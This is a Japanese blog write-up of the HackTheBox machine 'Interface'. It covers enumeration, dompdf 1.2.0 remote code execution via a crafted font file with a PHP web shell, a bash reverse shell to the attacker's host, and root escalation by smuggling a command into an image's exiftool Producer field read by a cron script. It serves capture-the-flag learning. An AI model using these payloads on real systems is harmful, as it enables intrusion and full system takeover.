HackTheBox Interface WriteUp

今回はHackTheBoxのMediumマシン「Interface」のWriteUpです！
このマシンはリリース当初はEasyマシンだったのですが、急にMediumになったので驚きました笑
難易度が上がったことで難しいイメージしかしなくなってしまったのですが、、、攻略目指して頑張ります！
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/5ba59f6d-bf9d-f2a2-4713-6dcf4fdaecc9.png)

グラフはまさにMediumという形をしていますね。難易度が上がったのも納得です。
評価は低めですね。。難易度の変更が影響しているのでしょうか。

HackTheBoxってなに？という方はこちらの記事を見てみてください。一緒にハッキングしましょう！

https://qiita.com/WhizOwl/items/165783694cb4791cff34

また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください！

https://qiita.com/Perplex/items/30f949fe261f56af7476

## Interface

### 侵入

それでは攻略を開始しましょう。
まずはポートスキャンですね。今回はrustscanを使用しています。
```bash
┌──(kali㉿kali)-[~/Desktop/Interface]
└─$ rustscan -a 10.10.11.200 -- -A -T4 -sC -sV -Pn | tee rustscan.log
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-''
The Modern Day Port Scanner.

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 7289a0957eceaea8596b2d2dbc90b55a (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDsUhYQQaT6D7Isd510Mjs3HcpUf64NWRgfkCDtCcPC3KjgNKdOByzhdgpqKftmogBoGPHDlfDboK5hTEm/6mqhbNQDhOiX1Y++AXwcgLAOpjfSExhKQSyKZVveZCl/JjB/th0YA12XJXECXl5GbNFtxDW6DnueLP5l0gWzFxJdtj7C57yai6MpHieKm564NOhsAqYqcxX8O54E9xUBW4u9n2vSM6ZnMutQiNSkfanyV0Pdo+yRWBY9TpfYHvt5A3qfcNbF3tMdQ6wddCPi98g+mEBdIbn1wQOvL0POpZ4DVg0asibwRAGo1NiUX3+dJDJbThkO7TeLyROvX/kostPH
|   256 01848c66d34ec4b1611f2d4d389c42c3 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGrQxMOFdtvAa9AGgwirSYniXm7NpzZbgIKhzgCOM1qwqK8QFkN6tZuQsCsRSzZ59+3l+Ycx5lTn11fbqLFqoqM=
|   256 cc62905560a658629e6b80105c799b55 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPtZ4bP4/4TJNGMNMmXWqt2dLijhttMoaeiJYJRJ4Kqy
80/tcp open  http    syn-ack nginx 1.14.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD
|_http-favicon: Unknown favicon MD5: 21B739D43FCB9BBB83D8541FE4FE88FA
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Site Maintenance
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```
22番と80番を確認しました。
では、80番にアクセスしていきます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/2951be91-c433-d728-5057-735905a6e753.png)
メンテナンス中だと表示されました。
見た感じでは、どこにも遷移できなさそうなので、Burp Suiteで他に情報がないか調べてみましょう。
```
Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' 'self' data: https://www.google.com http://www.google-analytics.com/gtm/js https://*.gstatic.com/feedback/ https://ajax.googleapis.com; connect-src 'self' http://prd.m.rendering-api.interface.htb; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com https://www.google.com; img-src https: data:; child-src data:;
```
トップページへのアクセスのレスポンスにあるCSPヘッダーを見ると、prd.m.rendering-api.interface.htbという新たなサブドメインを発見しました。
hostsファイルにドメインを登録し、アクセスしてみます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/1a74cd5e-ad23-836b-1eea-01a745aece87.png)
File not foundと表示されました。
パラメータでFileを指定することができるのでしょうか。
試しにpathやfileといったパラメータを送ってみましたが、特に表示は変わらず404が返ってくるばかりです。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/e014616e-f510-b3bb-6736-89f076dcefc5.png)
次に試せることは、ディレクトリ探索です。
ここで何か出てくれないと厳しいですが、、、
```bash
┌──(kali㉿kali)-[~/Desktop/Interface]
└─$ gobuster dir -u http://prd.m.rendering-api.interface.htb/ -w /usr/share/wordlists/dirb/common.txt -o gobuster.log 
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://prd.m.rendering-api.interface.htb/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Timeout:                 10s
===============================================================
2023/05/20 22:58:12 Starting gobuster in directory enumeration mode
===============================================================
/vendor               (Status: 403) [Size: 15]
Progress: 4605 / 4615 (99.78%)
===============================================================
2023/05/20 22:59:32 Finished
===============================================================
```
vendorがヒットしましたが、403です。。現状ではアクセスする手立てがありません。
一応vendorを深堀りしてみます。
```bash
┌──(kali㉿kali)-[~/Desktop/Interface]
└─$ gobuster dir -u http://prd.m.rendering-api.interface.htb/vendor/ -w /usr/share/seclists/Discovery/Web-Content/big.txt -e -o gobuster-prd-vendor.log 
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://prd.m.rendering-api.interface.htb/vendor/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
2023/05/21 13:20:01 Starting gobuster in directory enumeration mode
===============================================================
http://prd.m.rendering-api.interface.htb/vendor/composer             (Status: 403) [Size: 15]
http://prd.m.rendering-api.interface.htb/vendor/dompdf               (Status: 403) [Size: 15]
Progress: 20466 / 20477 (99.95%)
===============================================================
2023/05/21 13:25:54 Finished
===============================================================
```
403ですが、composerとdompdfを発見しました。
composerはPHPのパッケージ管理システムで、dompdfはHTMLからPDFを生成するものです。
Googleで調べていると、dompdfにRCEの脆弱性があるという記事を見つけました。

https://github.com/positive-security/dompdf-rce

PDFを生成できるエンドポイントが見つかれば、この脆弱性を利用できるかもしれないので、他のワードファイルを試してみましたが、新しいディレクトリを発見することはできせんでした。
困りました。。他に何をみればよいのか。。。

この時点で少し苦戦しましたが、ある時、ルート（/）の応答が404だったことに気付きました。
他のサイトではファイルが存在していてFile not foundという表示をする際、200であることがほとんどです。
ここから私は、ほかにも404を返すファイルまたはディレクトリがあるのではないかと考えました。
もう一度、gobusterの-bで404以外を指定し、ディレクトリ探索を行います。
```bash
┌──(kali㉿kali)-[~/Desktop/Interface]
└─$ gobuster dir -u http://prd.m.rendering-api.interface.htb/ -w /usr/share/wordlists/dirb/common.txt -b 555 --exclude-length 0 -o gobuster-404.log
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://prd.m.rendering-api.interface.htb/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   555
[+] Exclude Length:          0
[+] User Agent:              gobuster/3.5
[+] Timeout:                 10s
===============================================================
2023/05/20 23:16:32 Starting gobuster in directory enumeration mode
===============================================================
/api                  (Status: 404) [Size: 50]
/vendor               (Status: 403) [Size: 15]
Progress: 4610 / 4615 (99.89%)
===============================================================
2023/05/20 23:17:53 Finished
===============================================================
```
新たに、apiというディレクトリを発見しました！
やっと新たな道が開きました。このapiに対してもディレクトリ探索を行います。
```bash
┌──(kali㉿kali)-[~/Desktop/Interface]
└─$ gobuster dir -u http://prd.m.rendering-api.interface.htb/api -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt -b 555 --exclude-length 50 -o gobuster-api.log 
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://prd.m.rendering-api.interface.htb/api
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt
[+] Negative Status codes:   555
[+] Exclude Length:          50
[+] User Agent:              gobuster/3.5
[+] Timeout:                 10s
===============================================================
2023/05/20 23:21:29 Starting gobuster in directory enumeration mode
===============================================================
Progress: 20116 / 20117 (100.00%)
===============================================================
2023/05/20 23:27:35 Finished
===============================================================
```
何も見つかりません。。。いや、apiというディレクトリをわざわざ作っておきながら何もないなんてことはあり得ません！
メソッドを変えてもう一度実行してみます。
```bash
┌──(kali㉿kali)-[~/Desktop/Interface]
└─$ gobuster dir -u http://prd.m.rendering-api.interface.htb/api -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt -b 555 --exclude-length 50 -m POST -o gobuster-api.log
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://prd.m.rendering-api.interface.htb/api
[+] Method:                  POST
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt
[+] Negative Status codes:   555
[+] Exclude Length:          50
[+] User Agent:              gobuster/3.5
[+] Timeout:                 10s
===============================================================
2023/05/21 00:25:42 Starting gobuster in directory enumeration mode
===============================================================
/html2pdf             (Status: 422) [Size: 36]
Progress: 20114 / 20117 (99.99%)
===============================================================
2023/05/21 00:32:17 Finished
===============================================================
```
html2pdfを発見しました！
422が返ってきています。アクセスしてみましょう。
```
HTTP/1.1 422 Unprocessable Entity
Server: nginx/1.14.0 (Ubuntu)
Date: Sat, 20 May 2023 14:26:12 GMT
Content-Type: application/json
Connection: close
Content-Length: 36

{
    "status_text":"missing parameters"
}
```
パラメータが不足しているというエラーメッセージが出力されています。
ffufを実行し、必要なパラメータを調査していきましょう。
JSONでレスポンスが返ってきているということは、JSONによるリクエストの可能性が高いので、-dでJSONを指定します。
```bash
┌──(kali㉿kali)-[~/Desktop/Interface]
└─$ ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -X POST -d '{"FUZZ":"FUZZ"}' -u http://prd.m.rendering-api.interface.htb/api/html2pdf 

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/  '     

       v2.0.0-dev
________________________________________________

 :: Method           : POST
 :: URL              : http://prd.m.rendering-api.interface.htb/api/html2pdf
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt
 :: Data             : {"FUZZ":"FUZZ"}
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________

[Status: 200, Size: 1131, Words: 116, Lines: 77, Duration: 507ms]
    * FUZZ: html

:: Progress: [4713/4713] :: Job [1/1] :: 226 req/sec :: Duration: [0:00:22] :: Errors: 0 ::            
```
htmlで200番が返ってきました！
適当にhtmlに値を設定してリクエストを送ってみましょう。
```
POST /api/html2pdf HTTP/1.1
Host: prd.m.rendering-api.interface.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 21

{
    "html":"index.html"
}
```
今回は、index.htmlを入力してリクエストを送ってみます。
レスポンスを見てみましょう。
```
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Sat, 20 May 2023 16:04:46 GMT
Content-Type: application/pdf
Content-Length: 1137
Connection: close
X-Local-Cache: miss
Cache-Control: public
Content-Transfer-Encoding: Binary
Content-Disposition: attachment; filename=export.pdf

%PDF-1.7
1 0 obj
<< /Type /Catalog
/Outlines 2 0 R
/Pages 3 0 R >>
・・・
/Producer (þÿdompdf 1.2.0 + CPDF)
・・・
```
PDFが出力されています！
また、出力をよく見るとバージョンが表示されています。これはRCEが発火していたバージョンと同じなので、dompdfの脆弱性を利用できそうです。

### dompdf

では、実際に実行させていきます。
まずは、先ほど挙げたGitHubのレポジトリをcloneしておきます。
```bash
┌──(kali㉿kali)-[~/Desktop/Interface]
└─$ git clone https://github.com/positive-security/dompdf-rce.git 
Cloning into 'dompdf-rce'...
remote: Enumerating objects: 343, done.
remote: Counting objects: 100% (343/343), done.
remote: Compressing objects: 100% (271/271), done.
remote: Total 343 (delta 67), reused 329 (delta 62), pack-reused 0
Receiving objects: 100% (343/343), 3.99 MiB | 9.91 MiB/s, done.
Resolving deltas: 100% (67/67), done.
```
cloneできたら、CSSファイルとPHPファイルを変更していきます。
まずはCSSファイルです。
```bash
┌──(kali㉿kali)-[~/Desktop/Interface/dompdf-rce/exploit]
└─$ cat exploit.css
@font-face {
    font-family:'exploitfont';
    src:url('http://10.10.14.2:9001/exploit_font.php');
    font-weight:'normal';
    font-style:'normal';
  }
```
変更した部分はURLのみです。
ローカルホストではなく、KaliのIPアドレスを指定するようにしました。
次はPHPファイルを変更していきます。
```bash
┌──(kali㉿kali)-[~/Desktop/Interface/dompdf-rce/exploit]
└─$ cat exploit_font.php
・・・
<?php system($_REQUEST['cmd']); ?>
```
変更部分は最後のPHPシェルの部分です。
今回はcmdパラメータに実行したいコマンドを入力し、RCEを発火させるようにします。

ここまで出来たら、Burp SuiteでCSSを指定し、リクエストを送信します。
リクエストを送信する前にサーバを立ち上げることを忘れないようにしてください。
```bash
┌──(kali㉿kali)-[~/Desktop/Interface/dompdf-rce/exploit]
└─$ python3 -m http.server 9001
Serving HTTP on 0.0.0.0 port 9001 (http://0.0.0.0:9001/) ...
```
サーバが立ち上がったら、下記のリクエストを送信します。
```
POST /api/html2pdf HTTP/1.1
Host: prd.m.rendering-api.interface.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 74

{
    "html":"<link rel=stylesheet href='http://10.10.14.2:9001/exploit.css'>"
}
```
exploit.cssを指定しています。
立ち上げたサーバにリクエストが届いているか確認します。
```bash
┌──(kali㉿kali)-[~/Desktop/Interface/dompdf-rce/exploit]
└─$ python3 -m http.server 9001
Serving HTTP on 0.0.0.0 port 9001 (http://0.0.0.0:9001/) ...
10.10.11.200 - - [21/May/2023 22:30:12] "GET /exploit.css HTTP/1.0" 200 -
10.10.11.200 - - [21/May/2023 22:30:13] "GET /exploit_font.php HTTP/1.0" 200 -
```
二つのファイルのログが表示され、リクエストが成功したことが分かります。
これでエクスプロイトをトリガーすることができたので、アクセスして実行させていきましょう。
アクセスにはmd5のハッシュ値を使用します。
```bash
┌──(kali㉿kali)-[~/Desktop/Interface/dompdf-rce/exploit]
└─$ echo -n "http://10.10.14.2:9001/exploit_font.php" | md5sum
d71339beac9da6cde233001997c94731  -
```
GitHubの例と計算したハッシュ値を入れ替えてアクセスしてみましょう。
cmdパラメータにはidを指定します。
```bash
┌──(kali㉿kali)-[~/Desktop/Interface/dompdf-rce/exploit]
└─$ curl -s http://prd.m.rendering-api.interface.htb/vendor/dompdf/dompdf/lib/fonts/exploitfont_normal_d71339beac9da6cde233001997c94731.php?cmd=id -o-
・・・
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
RCEが発火しました！
これを悪用してシェルを取得できそうです。

## www-dataとしてのシェル

それでは、シェルを取得していきます。
まずは、Kaliで待ち受けておきます。
```bash
┌──(kali㉿kali)-[~/Desktop/Interface]
└─$ nc -lnvp 5555                                        
listening on [any] 5555 ...
```
いつものようにbashでシェルを取得します。
空白やクォーテーションを含むので、忘れずにURLエンコードするようにしてください。
```bash
┌──(kali㉿kali)-[~/Desktop/Interface/dompdf-rce/exploit]
└─$ curl -s --data-urlencode 'cmd=/bin/bash -c "bash -i >& /dev/tcp/10.10.14.2/5555 0>&1"' http://prd.m.rendering-api.interface.htb/vendor/dompdf/dompdf/lib/fonts/exploitfont_normal_d71339beac9da6cde233001997c94731.php -o-
```
シェルが返ってきているか確認しましょう。
```bash
┌──(kali㉿kali)-[~/Desktop/Interface]
└─$ nc -lnvp 5555                                        
listening on [any] 5555 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.11.200] 40220
bash: cannot set terminal process group (1262): Inappropriate ioctl for device
bash: no job control in this shell
www-data@interface:~/api/vendor/dompdf/dompdf/lib/fonts$ whoami
www-data
```
侵入成功です！
```bash
www-data@interface:/home/dev$ ls -l
total 4
-rw-r--r-- 1 root dev 33 May 20 13:36 user.txt
```
www-dataにもフラグを読む権限がありました！

### 権限昇格

※多くの場合、www-dataの権限を取得した後は、ホームディレクトリがあるユーザ、今回でいえばdevユーザへの横移動を狙うのですが、今回のマシンは直接ルートが取れました。
まずは、sudoが使えるか試してみます。
```bash
www-data@interface:/home/dev$ sudo -l
sudo -l
[sudo] password for www-data:
```
パスワードを求められるため、sudoが実行できないことが分かります。
ディレクトリの探索やlinpeasによる列挙でも情報が落ちなかったので、pspy64を実行することにします。
pspy64はGitHubからダウンロード可能です。

https://github.com/DominicBreuker/pspy

マシン上にダウンロードさせることができたら、実行していきます。
```bash
www-data@interface:/tmp$ ./pspy64
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d


     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒ 
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░ 
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░  
                   ░           ░ ░     
                               ░ ░     
```
一定時間出力を眺めていると、あるファイルが実行されていることに気付きました。
```bash
2023/05/21 14:10:01 CMD: UID=0     PID=28317  | /bin/bash /usr/local/sbin/cleancache.sh 
2023/05/21 14:10:01 CMD: UID=0     PID=28320  | /bin/bash /usr/local/sbin/cleancache.sh 
2023/05/21 14:10:01 CMD: UID=0     PID=28319  | /bin/bash /usr/local/sbin/cleancache.sh 
2023/05/21 14:10:01 CMD: UID=0     PID=28318  | cp /root/font_cache/dompdf_font_family_cache.php.bak /root/font_cache/dompdf_font_family_cache.php 
2023/05/21 14:10:01 CMD: UID=0     PID=28321  | /bin/bash /root/clean.sh 
2023/05/21 14:10:01 CMD: UID=0     PID=28322  | chgrp www-data /root/font_cache/dompdf_font_family_cache.php 
2023/05/21 14:10:01 CMD: UID=0     PID=28323  | /bin/bash /root/clean.sh 
2023/05/21 14:10:01 CMD: UID=0     PID=28324  | rm /tmp/pspy64 
2023/05/21 14:12:01 CMD: UID=0     PID=28327  | /bin/bash /usr/local/sbin/cleancache.sh 
```
cleancache.shというファイルがcronでrootとして実行されています。
ファイルの内容を確認してみましょう。
```bash
www-data@interface:/usr/local/sbin$ cat cleancache.sh
#! /bin/bash
cache_directory="/tmp"
for cfile in "$cache_directory"/*; do
    if [[ -f "$cfile" ]]; then
        meta_producer=$(/usr/bin/exiftool -s -s -s -Producer "$cfile" 2>/dev/null | cut -d " " -f1)
        if [[ "$meta_producer" -eq "dompdf" ]]; then
            echo "Removing $cfile"
            rm "$cfile"
        fi
    fi
done
```
どうやら、tmpディレクトリ内にあるdompdfで作られたファイルを削除するスクリプトのようです。
このスクリプトで注目すべきは-eqで算術演算が行われている行です。
一見、ただの演算に見えますが、この形には脆弱性があります。私はこの脆弱性に関して学習済みだったので、すぐにピンときました。Google上にも多くの記事が公開されています。

https://dev.to/greymd/eq-can-be-critically-vulnerable-338m

それでは、記事を参考にコマンドの実行を狙っていきましょう。
まずは、実行したいコマンドを記述したスクリプトファイルを作成します。
```bash
┌──(kali㉿kali)-[~/Desktop/Interface]
└─$ cat exploit.sh 
#!/bin/bash

chmod u+s /bin/bash
```
いつものようにbashにSUIDをセットするようにします。
スクリプトが用意出来たら、スクリプトを実行するための画像ファイルを用意します。
```bash
┌──(kali㉿kali)-[~/Desktop/Interface]
└─$ exiftool -Producer='x[$(/tmp/exploit.sh>&2)]' coffee.png
    1 image files updated
```
このProducerにファイルを設定し、実行させることでSUIDをセットさせます。
2つのファイルが作成できたらそれぞれマシンへダウンロードさせます。
```bash
www-data@interface:/tmp$ wget http://10.10.14.2:8000/exploit.sh
--2023-05-21 14:52:27--  http://10.10.14.2:8000/exploit.sh
Connecting to 10.10.14.2:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 33 [text/x-sh]
Saving to: 'exploit.sh'

exploit.sh          100%[===================>]      33  --.-KB/s    in 0s      

2023-05-21 14:52:28 (2.25 MB/s) - 'exploit.sh' saved [33/33]
```
ダウンロード先は必ずtmpディレクトリにするようにしてください。
画像ファイルも同じようにダウンロードさせます。
```bash
www-data@interface:/tmp$ wget http://10.10.14.2:8000/coffee.png
--2023-05-21 14:52:47--  http://10.10.14.2:8000/coffee.png
Connecting to 10.10.14.2:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 33429 (33K) [image/png]
Saving to: 'coffee.png'

coffee.png          100%[===================>]  32.65K   155KB/s    in 0.2s    

2023-05-21 14:52:48 (155 KB/s) - 'coffee.png' saved [33429/33429]
```
ダウンロードが完了したら、あとは待つだけですが、スクリプトファイルに実行権限を付与することを忘れないようにしてください。
```bash
www-data@interface:/tmp$ chmod +x exploit.sh
```
実行権限まで付与出来たら、少し時間を置き、bashにSUIDが付与されるのを待ちます。

## rootとしてのシェル

それでは、SUIDが付与されているか確認しましょう。
```bash
www-data@interface:/tmp$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1113504 Apr 18  2022 /bin/bash
```
SUIDが設定されています！rootを取得しましょう！
```bash
www-data@interface:/tmp$ bash -p
bash-4.4# whoami
root
```
権限昇格できました！
```bash
bash-4.4# ls -l
total 12
-rwxr-xr-x 1 root root  438 Feb 13 16:29 clean.sh
drwxr-xr-x 2 root root 4096 May 21 15:00 font_cache
-rw-r----- 1 root root   33 May 20 13:36 root.txt
```
フラグも取得し、攻略完了です！お疲れさまでした！

### 攻略を終えて

今回のマシンは、404を有効にしたり、メソッドを変更したりと列挙にひねりが必要だったのでwww-dataのシェル取得まで結構時間がかかってしまいました。権限昇格に関しては知見があったのでサクッとrootを取得することができました。以前学習したことがHackTheBoxで活かせたので嬉しかったです笑
難易度的には、Easyではないな。という感じでした。ただ、最近はEasyも難しくなってきているので、難易度が上がらなかったとしても違和感はそこまでなさそうな気がしました。
今回の列挙の経験は今後のマシンにも活かせると思います！
今後もWriteUpを書いていくつもりなので、見ていただけると嬉しいです。
最後まで閲覧していただき、ありがとうございました！